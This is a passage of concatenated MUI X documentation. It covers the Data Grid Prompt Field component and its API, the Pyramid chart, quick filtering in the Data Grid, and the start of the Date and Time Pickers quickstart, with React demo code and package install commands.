    <StyledToolbar>
      <PromptField onSubmit={handlePromptSubmit}>
        <PromptFieldControl
          render={({ ref, ...controlProps }, state) => (
            <TextField
              {...controlProps}
              inputRef={ref}
              aria-label="Prompt"
              placeholder={state.recording ? 'Listening for prompt…' : placeholder}
              size="small"
              sx={{ width: 320 }}
              slotProps={{
                input: {
                  startAdornment: IS_SPEECH_RECOGNITION_SUPPORTED ? (
                    <InputAdornment position="start">
                      <Tooltip title={state.recording ? 'Stop recording' : 'Record'}>
                        <PromptFieldRecord
                          render={
                            <IconButton
                              size="small"
                              edge="start"
                              color={state.recording ? 'primary' : 'default'}
                            />
                          }
                        >
                          <MicIcon fontSize="small" />
                        </PromptFieldRecord>
                      </Tooltip>
                    </InputAdornment>
                  ) : (
                    <Tooltip title="Speech recognition is not supported in this browser">
                      <MicOffIcon fontSize="small" />
                    </Tooltip>
                  ),
                  endAdornment: (
                    <InputAdornment position="end">
                      <Tooltip title="Send">
                        <span>
                          <PromptFieldSend
                            render={
                              <IconButton size="small" edge="end" color="primary" />
                            }
                          >
                            <SendIcon fontSize="small" />
                          </PromptFieldSend>
                        </span>
                      </Tooltip>
                    </InputAdornment>
                  ),
                },
              }}
            />
          )}
        />
      </PromptField>
      <Snackbar
        open={snackbarOpen}
        autoHideDuration={3000}
        onClose={() => setSnackbarOpen(false)}
        anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }}
      >
        <Alert
          severity={statusText === SUCCESS_STATUS_TEXT ? 'success' : 'error'}
          sx={{ width: '100%' }}
        >
          {statusText}
        </Alert>
      </Snackbar>
    </StyledToolbar>
  );
}

export default function GridPromptField() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        loading={loading}
        slots={{ toolbar: CustomToolbar }}
        aiAssistant
        onPrompt={mockPromptResolver}
        showToolbar
      />
    </div>
  );
}

```

## Anatomy

```tsx
import {
  PromptField,
  PromptFieldRecord,
  PromptFieldControl,
  PromptFieldSend,
} from '@mui/x-data-grid-premium';

<PromptField>
  <PromptFieldRecord />
  <PromptFieldControl />
  <PromptFieldSend />
</PromptField>;
```

### Prompt Field

`<PromptField />` is the top level component that provides context to child components.
It renders a `<div />` element.

### Prompt Field Record

`<PromptFieldRecord />` is a button that records the user's voice when clicked.
It renders the `baseIconButton` slot.

### Prompt Field Control

`<PromptFieldControl />` is a component that takes user input.
It renders the `baseTextField` slot.

### Prompt Field Send

`<PromptFieldSend />` is a button that processes the prompt when clicked.
It renders the `baseIconButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details.

## Accessibility

### ARIA

- You must render a `<label />` with a `for` attribute set to the `id` of `<PromptFieldControl />`, or apply an `aria-label` attribute to the `<PromptFieldControl />`.
- You must apply a text label or an `aria-label` attribute to the `<PromptFieldRecord />` and `<PromptFieldSend />`.

### Keyboard

|                         Keys | Description                                  |
| ---------------------------: | :------------------------------------------- |
| <kbd class="key">Enter</kbd> | Sends the prompt when the control has focus. |


# PromptField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptField } from '@mui/x-data-grid-premium/components';
// or
import { PromptField } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onSubmit | `function(prompt: string) => void` | - | Yes |  |
| className | `func \| string` | - | No |  |
| onRecordError | `function(error: string) => void` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptField.tsx)

# PromptFieldControl API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldControl } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldControl } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldControl.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldControl.tsx)

# PromptFieldRecord API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldRecord } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldRecord } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldRecord.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldRecord.tsx)

# PromptFieldSend API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldSend } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldSend } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldSend.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldSend.tsx)

---

# Source: https://mui.com/x/react-charts/pyramid.md

---
title: React Pyramid chart
productId: x-charts
components: FunnelChart, FunnelPlot
---

# Charts - Pyramid [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The pyramid chart is a variation of the funnel chart.

## Pyramid Chart

To create a pyramid chart, set the `curve` property to `pyramid` in the series.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function Pyramid() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            curve: 'pyramid',
            data: [{ value: 10 }, { value: 100 }, { value: 1000 }, { value: 10000 }],
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

## Direction

The pyramid automatically changes its direction based on the provided data. If the values are sorted in ascending order, the pyramid is drawn upright.
If the values are sorted in descending order, the pyramid is drawn upside-down.

In order to manually control the direction of the pyramid, the `funnelDirection` property can be set to either `increasing` or `decreasing`.

This is useful when the data is not sorted, or when you want to enforce a specific direction regardless of the data order.

```tsx
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Stack from '@mui/material/Stack';
import { populationByEducationLevelPercentageSeries } from '../funnel/populationByEducationLevel';

export default function PyramidDirection() {
  return (
    <ChartsUsageDemo
      componentName="Pyramid Chart"
      data={
        {
          direction: {
            displayName: 'Direction',
            knob: 'radio',
            options: ['auto', 'increasing', 'decreasing'],
            defaultValue: 'auto',
          },
        } as const
      }
      renderDemo={(props) => (
        <Stack sx={{ width: '100%' }}>
          <FunnelChart
            series={[
              {
                data: populationByEducationLevelPercentageSeries.data,
                curve: 'pyramid',
                funnelDirection: props.direction,
              },
            ]}
            height={300}
          />
        </Stack>
      )}
      getCode={({ props }) => {
        return `import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

<FunnelChart
  series={[{
    curve: 'pyramid',
    funnelDirection: '${props.direction}',
    ...
  }]}
/>
`;
      }}
    />
  );
}

```

## Segments

By default, the pyramid chart creates segments with the same height. To make the segments proportional to the values, set `categoryAxis.scaleType` to `linear`.
This adjusts the height of each segment based on the value it represents.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

// datasource: https://ourworldindata.org/grapher/distribution-of-population-between-different-poverty-thresholds-stacke-bar-2011-ppp?country=~OWID_WRL&tableSearch=world

export default function PyramidSegmentLinear() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            curve: 'pyramid',
            data: [
              { label: 'Above $30 a day', value: 16 },
              { label: '$10-$30 a day', value: 25 },
              { label: '$1.90-$10 a day', value: 50 },
              { label: 'Below $1.90 a day', value: 9 },
            ],
            funnelDirection: 'increasing',
          },
        ]}
        categoryAxis={{ scaleType: 'linear' }}
        height={300}
      />
    </Box>
  );
}

```

## Styling

A pyramid chart can be styled in all the same ways as the [funnel chart](/x/react-charts/funnel/#styling).

```tsx
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Stack from '@mui/material/Stack';
import { populationByEducationLevelPercentageSeries } from '../funnel/populationByEducationLevel';

const curveTypes = ['pyramid', 'step-pyramid'] as const;

export default function PyramidPlayground() {
  return (
    <ChartsUsageDemo
      componentName="Pyramid Chart"
      data={
        {
          direction: {
            knob: 'radio',
            options: ['vertical', 'horizontal'],
            defaultValue: 'vertical',
          },
          curveType: {
            knob: 'radio',
            options: curveTypes,
            defaultValue: curveTypes[0],
          },
          gap: {
            knob: 'slider',
            defaultValue: 0,
            min: 0,
            max: 20,
          },
          borderRadius: {
            knob: 'slider',
            defaultValue: 0,
            min: 0,
            max: 20,
          },
          variant: {
            knob: 'select',
            options: ['filled', 'outlined'],
            defaultValue: 'filled',
          },
        } as const
      }
      renderDemo={(props) => (
        <Stack sx={{ width: '100%' }}>
          <FunnelChart
            series={[
              {
                layout: props.direction,
                curve: props.curveType,
                variant: props.variant,
                borderRadius: props.borderRadius,
                data: [...populationByEducationLevelPercentageSeries.data].reverse(),
              },
            ]}
            gap={props.gap}
            height={300}
            slotProps={{ legend: { direction: 'vertical' } }}
          />
        </Stack>
      )}
      getCode={({ props }) => {
        return `import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

<FunnelChart
  series={[{ 
    layout: '${props.direction}',
    curve: '${props.curveType}',
    variant: '${props.variant}',
    borderRadius: ${props.borderRadius},
  }]}
  gap={${props.gap}}
/>
`;
      }}
    />
  );
}

```

---

# Source: https://mui.com/x/api/data-grid/quick-filter-clear.md

# QuickFilterClear API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Quick Filter component](/x/react-data-grid/components/quick-filter)

## Import

```jsx
import { QuickFilterClear } from '@mui/x-data-grid/components';
// or
import { QuickFilterClear } from '@mui/x-data-grid';
// or
import { QuickFilterClear } from '@mui/x-data-grid-pro';
// or
import { QuickFilterClear } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/quickFilter/QuickFilterClear.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/quickFilter/QuickFilterClear.tsx)

---

# Source: https://mui.com/x/api/data-grid/quick-filter-control.md

# QuickFilterControl API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Quick Filter component](/x/react-data-grid/components/quick-filter)

## Import

```jsx
import { QuickFilterControl } from '@mui/x-data-grid/components';
// or
import { QuickFilterControl } from '@mui/x-data-grid';
// or
import { QuickFilterControl } from '@mui/x-data-grid-pro';
// or
import { QuickFilterControl } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/quickFilter/QuickFilterControl.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/quickFilter/QuickFilterControl.tsx)

---

# Source: https://mui.com/x/api/data-grid/quick-filter-trigger.md

# QuickFilterTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Quick Filter component](/x/react-data-grid/components/quick-filter)

## Import

```jsx
import { QuickFilterTrigger } from '@mui/x-data-grid/components';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid-pro';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/quickFilter/QuickFilterTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/quickFilter/QuickFilterTrigger.tsx)

---

# Source: https://mui.com/x/api/data-grid/quick-filter.md

# Source: https://mui.com/x/react-data-grid/components/quick-filter.md

# Source: https://mui.com/x/react-data-grid/filtering/quick-filter.md

# Data Grid - Quick filter

One filter field to quickly filter grid.

Quick filter lets users filter rows by multiple columns with a single text input.

By default, the quick filter considers the input as a list of values separated by space and keeps only rows that contain all the values.

The quick filter is displayed by default when `showToolbar` is passed to the `<DataGrid/>` component. See the [Quick Filter component](/x/react-data-grid/components/quick-filter/) for examples on how to add the quick filter to a custom toolbar.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useMovieData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['title', 'company', 'director', 'year', 'cinematicUniverse'];

export default function QuickFilteringGrid() {
  const data = useMovieData();

  // Otherwise filter will be applied on fields such as the hidden column id
  const columns = React.useMemo(
    () => data.columns.filter((column) => VISIBLE_FIELDS.includes(column.field)),
    [data.columns],
  );

  return (
    <Box sx={{ height: 400, width: 1 }}>
      <DataGrid
        {...data}
        disableColumnFilter
        disableColumnSelector
        disableDensitySelector
        columns={columns}
        showToolbar
      />
    </Box>
  );
}

```

## Initialize the quick filter values

The quick filter values can be initialized by setting the `filter.filterModel.quickFilterValues` property of the `initialState` prop.

```tsx
<DataGrid
  initialState={{
    filter: {
      filterModel: {
        items: [],
        quickFilterValues: ['Disney', 'Star'],
      },
    },
  }}
/>
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useMovieData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['title', 'company', 'director', 'year', 'cinematicUniverse'];

export default function QuickFilteringInitialize() {
  const data = useMovieData();

  // Otherwise filter will be applied on fields such as the hidden column id
  const columns = React.useMemo(
    () => data.columns.filter((column) => VISIBLE_FIELDS.includes(column.field)),
    [data.columns],
  );

  return (
    <Box sx={{ height: 400, width: 1 }}>
      <DataGrid
        {...data}
        initialState={{
          filter: {
            filterModel: {
              items: [],
              quickFilterValues: ['Disney', 'Star'],
            },
          },
        }}
        disableColumnFilter
        disableColumnSelector
        disableDensitySelector
        columns={columns}
        showToolbar
      />
    </Box>
  );
}

```

## Including hidden columns

By default, the quick filter excludes hidden columns.

To include hidden columns in the quick filter, set `filterModel.quickFilterExcludeHiddenColumns` to `false`:

```tsx
<DataGrid
  initialState={{
    filter: {
      filterModel: {
        items: [],
        quickFilterExcludeHiddenColumns: false,
      },
    },
  }}
/>
```

In the demo below, the `company` column is hidden. You'll only see 5 results because rows where the `company` value is `'Warner Bros.'` are excluded.
However, when you disable the `Exclude hidden columns` switch, the rows containing `'Warner'` in the `company` field will be displayed again, even though the column remains hidden.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Switch from '@mui/material/Switch';
import FormControlLabel from '@mui/material/FormControlLabel';
import {
  DataGrid,
  GridColumnVisibilityModel,
  GridFilterModel,
} from '@mui/x-data-grid';
import { useMovieData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['title', 'company', 'director', 'year', 'cinematicUniverse'];

export default function QuickFilteringExcludeHiddenColumns() {
  const data = useMovieData();

  const columns = React.useMemo(
    () => data.columns.filter((column) => VISIBLE_FIELDS.includes(column.field)),
    [data.columns],
  );

  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [],
    quickFilterExcludeHiddenColumns: true,
    quickFilterValues: ['War'],
  });

  const [columnVisibilityModel, setColumnVisibilityModel] =
    React.useState<GridColumnVisibilityModel>({ company: false });

  const handleFilterModelChange = React.useCallback(
    (newModel: GridFilterModel) => setFilterModel(newModel),
    [],
  );

  const handleColumnVisibilityChange = React.useCallback(
    (newModel: GridColumnVisibilityModel) => setColumnVisibilityModel(newModel),
    [],
  );

  const toggleYearColumn = React.useCallback(
    (event: React.SyntheticEvent) =>
      setColumnVisibilityModel(() => ({ company: (event.target as any).checked })),
    [],
  );

  const toggleExcludeHiddenColumns = React.useCallback(
    (event: React.SyntheticEvent) =>
      setFilterModel((model) => ({
        ...model,
        quickFilterExcludeHiddenColumns: (event.target as any).checked,
      })),
    [],
  );

  return (
    <Box sx={{ width: 1 }}>
      <FormControlLabel
        checked={columnVisibilityModel.year}
        onChange={toggleYearColumn}
        control={<Switch color="primary" />}
        label="Show company column"
      />
      <FormControlLabel
        checked={filterModel.quickFilterExcludeHiddenColumns}
        onChange={toggleExcludeHiddenColumns}
        control={<Switch color="primary" />}
        label="Exclude hidden columns"
      />
      <Box sx={{ height: 400 }}>
        <DataGrid
          {...data}
          columns={columns}
          initialState={{
            filter: {
              filterModel,
            },
          }}
          disableColumnFilter
          disableColumnSelector
          disableDensitySelector
          showToolbar
          filterModel={filterModel}
          onFilterModelChange={handleFilterModelChange}
          columnVisibilityModel={columnVisibilityModel}
          onColumnVisibilityModelChange={handleColumnVisibilityChange}
        />
      </Box>
    </Box>
  );
}

```

## Custom filtering logic

The logic used for quick filter can be switched to filter rows that contain _at least_ one of the values specified instead of testing if it contains all of them.
To do so, set `quickFilterLogicOperator` to `GridLogicOperator.Or` as follows:

```js
initialState={{
  filter: {
    filterModel: {
      items: [],
      quickFilterLogicOperator: GridLogicOperator.Or,
    },
  },
}}
```

With the default settings, quick filter will only consider columns with types `'string'`,`'number'`, and `'singleSelect'`.

- For `'string'` and `'singleSelect'` columns, the cell's formatted value must **contain** the value
- For `'number'` columns, the cell's formatted value must **equal** the value

To modify or add the quick filter operators, add the property `getApplyQuickFilterFn` to the column definition.
This function is quite similar to `getApplyFilterFn`.
This function takes as an input a value of the quick filter and returns another function that takes the cell value as an input and returns `true` if it satisfies the operator condition.

In the example below, a custom filter is created for the `date` column to check if it contains the correct year.

```ts
const getApplyQuickFilterFn: GetApplyQuickFilterFn<any, unknown> = (value) => {
  if (!value || value.length !== 4 || !/\d{4}/.test(value)) {
    // If the value is not a 4 digit string, it cannot be a year so applying this filter is useless
    return null;
  }
  return (cellValue) => {
    if (cellValue instanceof Date) {
      return cellValue.getFullYear() === Number(value);
    }
    return false;
  };
};
```

To remove the quick filtering on a given column set `getApplyQuickFilterFn: () => null`.

In the demo below, the column "Name" is not searchable with the quick filter, and 4 digits figures will be compared to the year of column "Created on."

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid, GetApplyQuickFilterFn } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

const getApplyQuickFilterFnSameYear: GetApplyQuickFilterFn<any, unknown> = (
  value,
) => {
  if (!value || value.length !== 4 || !/\d{4}/.test(value)) {
    // If the value is not a 4-digit string, it cannot be a year so applying this filter is useless
    return null;
  }
  return (cellValue) => {
    if (cellValue instanceof Date) {
      return cellValue.getFullYear() === Number(value);
    }
    return false;
  };
};

export default function QuickFilteringCustomLogic() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  // Otherwise filter will be applied on fields such as the hidden column id
  const columns = React.useMemo(
    () =>
      data.columns
        .filter((column) => VISIBLE_FIELDS.includes(column.field))
        .map((column) => {
          if (column.field === 'dateCreated') {
            return {
              ...column,
              getApplyQuickFilterFn: getApplyQuickFilterFnSameYear,
            };
          }
          if (column.field === 'name') {
            return {
              ...column,
              getApplyQuickFilterFn: () => null,
            };
          }
          return column;
        }),
    [data.columns],
  );

  return (
    <Box sx={{ height: 400, width: 1 }}>
      <DataGrid {...data} loading={loading} columns={columns} showToolbar />
    </Box>
  );
}

```

## Parsing values

The values used by the quick filter are obtained by splitting the input string with space.
If you want to implement a more advanced logic, the quick filter accepts a custom parser.
This function takes the quick filter input string and returns an array of values.

If you control the `quickFilterValues` either by controlling `filterModel` or with the initial state, the content of the input must be updated to reflect the new values.
By default, values are joint with spaces. You can customize this behavior by providing a custom formatter.
This formatter can be seen as the inverse of the `parser`.

For example, the following parser lets you search words containing a space by using the `','` to split values.

```jsx
// Default toolbar:
<DataGrid
  showToolbar
  slotProps={{
    toolbar: {
      quickFilterProps: {
        quickFilterParser: (searchInput) => searchInput.split(',').map((value) => value.trim()),
        quickFilterFormatter: (quickFilterValues) => quickFilterValues.join(', '),
        debounceMs: 200, // time before applying the new quick filter value
      },
    },
  }}
/>

// Custom quick filter:
<QuickFilter
  parser={(searchInput) => searchInput.split(',').map((value) => value.trim())}
  formatter={(quickFilterValues) => quickFilterValues.join(', ')}
  debounceMs={200} // time before applying the new quick filter value
>
  {/* ... */}
</QuickFilter>
```

In the following demo, the quick filter value `"Saint Martin, Saint Lucia"` will return rows with country is Saint Martin or Saint Lucia.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid, GridLogicOperator } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function QuickFilteringCustomizedGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  // Otherwise filter will be applied on fields such as the hidden column id
  const columns = React.useMemo(
    () => data.columns.filter((column) => VISIBLE_FIELDS.includes(column.field)),
    [data.columns],
  );

  return (
    <Box sx={{ height: 400, width: 1 }}>
      <DataGrid
        {...data}
        loading={loading}
        columns={columns}
        initialState={{
          ...data.initialState,
          filter: {
            ...data.initialState?.filter,
            filterModel: {
              items: [],
              quickFilterLogicOperator: GridLogicOperator.Or,
            },
          },
        }}
        slotProps={{
          toolbar: {
            quickFilterProps: {
              quickFilterParser: (searchInput: string) =>
                searchInput
                  .split(',')
                  .map((value) => value.trim())
                  .filter((value) => value !== ''),
            },
          },
        }}
        showToolbar
      />
    </Box>
  );
}

```

## Ignore diacritics (accents)

When filtering, diacritics—accented letters such as _é_ or _à_—are considered distinct from their standard counterparts (_e_ and _a_).
This can lead to a poor experience when users expect them to be treated as equivalent.

If your dataset includes diacritics that need to be ignored, you can pass the `ignoreDiacritics` prop to the Data Grid:

```tsx
<DataGrid ignoreDiacritics />
```

In the demo below, you can use the **Ignore diacritics** toggle to see how the filtering behavior changes:

```tsx
import * as React from 'react';
import { DataGrid, GridColDef, GridFilterModel } from '@mui/x-data-grid';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';

const dateFormatter = new Intl.DateTimeFormat('fr-FR', {
  day: 'numeric',
  month: 'long',
  year: 'numeric',
});

const rows = [
  { id: 0, string: 'Café', date: new Date(2023, 1, 1), singleSelect: 'Jalapeño' },
];
const columns: GridColDef[] = [
  { field: 'string', width: 100 },
  {
    field: 'date',
    type: 'date',
    width: 150,
    valueFormatter: (value) => dateFormatter.format(value),
  },
  {
    field: 'singleSelect',
    type: 'singleSelect',
    valueOptions: ['Jalapeño'],
  },
];

export default function QuickFilteringDiacritics() {
  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [],
    quickFilterValues: ['cafe'],
  });
  const [ignoreDiacritics, setIgnoreDiacritics] = React.useState(true);

  return (
    <div style={{ width: '100%' }}>
      <FormControlLabel
        checked={ignoreDiacritics}
        onChange={(event) =>
          setIgnoreDiacritics((event.target as HTMLInputElement).checked)
        }
        control={<Switch />}
        label="Ignore diacritics"
      />
      <div style={{ height: 200, width: '100%' }}>
        <DataGrid
          key={ignoreDiacritics.toString()}
          rows={rows}
          columns={columns}
          filterModel={filterModel}
          onFilterModelChange={setFilterModel}
          disableColumnSelector
          disableDensitySelector
          hideFooter
          showToolbar
          ignoreDiacritics={ignoreDiacritics}
        />
      </div>
    </div>
  );
}

```

:::info
The `ignoreDiacritics` prop affects all columns and filter types, including [standard filters](/x/react-data-grid/filtering/), [quick filters](/x/react-data-grid/filtering/quick-filter/), and [header filters](/x/react-data-grid/filtering/header-filters/).
:::

## Disable quick filter

The quick filter can be removed from the toolbar by setting `slotProps.toolbar.showQuickFilter` to `false`:

```tsx
<DataGrid slotProps={{ toolbar: { showQuickFilter: false } }} />
```

## API

- [GridToolbarQuickFilter](/x/api/data-grid/grid-toolbar-quick-filter/)
- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/quickstart.md

# Source: https://mui.com/x/react-tree-view/quickstart.md

# Source: https://mui.com/x/react-charts/quickstart.md

# Source: https://mui.com/x/react-date-pickers/quickstart.md

---
productId: x-date-pickers
title: Date and Time Pickers - Quickstart
packageName: '@mui/x-date-pickers'
githubLabel: 'scope: pickers'
materialDesign: https://m2.material.io/components/date-pickers
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/
---

# Date and Time Pickers - Quickstart

Install the MUI X Date and Time Pickers package and set up your date library to start building.

## Installation

Install the Date and Time Pickers package that best suits your needs—Community or Pro—along with one of the supported third-party date libraries.
The Pickers currently support [Day.js](https://day.js.org/), [date-fns](https://date-fns.org/), [Luxon](https://moment.github.io/luxon/#/), and [Moment.js](https://momentjs.com/).

Choose your packages and manager through the toggles below, then run the commands as provided to install:



:::success
Not sure which date library to choose?
If you're starting from scratch with no other date libraries in your app, we recommend [Day.js](https://day.js.org/) because of its small bundle size.
:::

### Peer dependencies

#### Material UI

The Date and Time Pickers have a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React

<!-- #react-peer-version -->

[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering a Date Picker

### Import the component

Import a Date Picker component and the Localization Provider:

```js
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
```

Next, import the adapter that corresponds to your chosen date library.
Adapters are provided for all supported libraries in both versions of the package.
The snippet below imports `AdapterDayjs`, which is used throughout this documentation for Day.js integration.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
```

### Integrate provider and adapter

To integrate your chosen date library with the Date Pickers, wrap your app with the Localization Provider and pass the adapter to the Provider's `dateAdapter` prop as shown below:



:::info
To use the Date and Time Pickers with a custom locale, see [Date and format localization](/x/react-date-pickers/adapters-locale/).
:::

### Render the component

With the component, adapter, and provider properly configured, you're now ready to render a Date Picker as shown below:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function FirstComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DatePicker />
    </LocalizationProvider>
  );
}

```

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

```tsx
// Pro users: add `-pro` suffix to package name
import type {} from '@mui/x-date-pickers/themeAugmentation';

const theme = createTheme({
  components: {
    MuiDatePicker: {
      defaultProps: {
        displayWeekNumber: true,
      },
    },
    MuiDateRangeCalendar: {
      styleOverrides: {
        root: {
          backgroundColor: '#f0f0f0',
        },
      },
    },
  },
});
```

### Date value types

The Date and Time Pickers are compatible with several date libraries that each use different formats to represent their dates.
To correctly type all date-related props, the adapters override a global type named `PickerValidDate` to let users format their corresponding libraries.
As a result, TypeScript will throw an error if you try to pass the wrong kind of value to the date library.

To determine whether your adapter is set up correctly, you can import the `PickerValidDate` type from `@mui/x-date-pickers/models` and check its current value.
If the type matches your chosen date library then it's correctly configured:

<img src="/static/x/date-pickers/picker-valid-date-configured.png" alt="PickerValidDate correctly configured" />

If the type is `any`, you can fix this by manually importing the adapter's types directly into your project as shown below:

```ts
// replace `AdapterDayjs` with the adapter you're using
